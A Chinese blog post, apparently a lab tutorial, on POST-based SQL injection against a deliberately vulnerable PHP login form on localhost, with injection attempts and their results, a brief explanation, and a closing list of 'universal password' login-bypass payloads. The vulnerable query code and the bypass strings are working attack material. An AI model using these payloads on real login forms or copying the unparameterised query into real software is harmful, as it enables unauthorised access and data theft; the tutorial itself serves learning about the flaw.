• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
Blood_Zero
从新开始!从心开始!
   首页    新随笔       管理     

sql_injection之post注入

1、代码篇

</html>
<center>
<form action="#" method="post">
姓名:<input type="text" name="user"><br>
密码:<input type="text" name="pass"><br>
<input type="submit" name="submit" value="提交">
</center>
</html>
<?php
/*************************
author:Bloodero
sql_injection_post
*************************/

include("../conn.php");
error_reporting(0);
if(isset($_POST['submit'])){
    if(!empty($_POST['user']) && !empty($_POST['pass'])){
        $user=$_POST['user'];
        $pass=$_POST['pass'];
        echo "你当前输入用户名:".$user."<br>";
        echo "你当前输入密码:".$pass."<br>";
        $sql="select * from user where username='$user' and password='$pass'";
        $res=mysql_query($sql);
        $row=mysql_fetch_array($res);
        if(empty($row)){
            echo "<script>alert('登陆失败')</script>";
        }
        else{
            echo "当前用户:<br>";
            echo "id:".$row['id']."<br>";
            echo "username:".$row['username']."<br>";
            echo "password:".$row['password']."<br>";
        }
    }
    else{
        echo "<script>alert('用户名/密码不能为空')</script>";
    }
}
else{
    exit();
}
?>

2、注入篇:http://localhost/pentest/sql/sql_injection_post.php

正确输入:

你当前输入用户名:admin
你当前输入密码:pass
当前用户:
id:1
username:admin
password:pass

尝试注入:

你当前输入用户名:1'
你当前输入密码:1

登陆失败
你当前输入用户名:1' #
你当前输入密码:1

登陆失败
你当前输入用户名:1' or 1=1#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass

登陆成功
你当前输入用户名:1' or 1=2#
你当前输入密码:1

登陆失败

这里我解释一下原理:

当我们闭合了where语句,然后再后面接or 1=2时,这时候恒假,所以不会有结果;

当我们接or 1=1时,恒真,所以就会查询所有;

你当前输入用户名:1' and 1=2 union select * from user#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass

这里的原理不懂的可以去看看第一发sql_injection;

3、防注入

对post过来的数据,进行处理;会有一篇进行详细讲解

4、通过post注入,引生的万能密码

"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
admin' or 'a'='a 密码随便
'or 1=1/*
User: something  Pass: ' or '1'='1
1'or'1'='1
admin' or 1=1/*

 

posted @ 2015-04-14 15:47  BloodZero  阅读(467)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3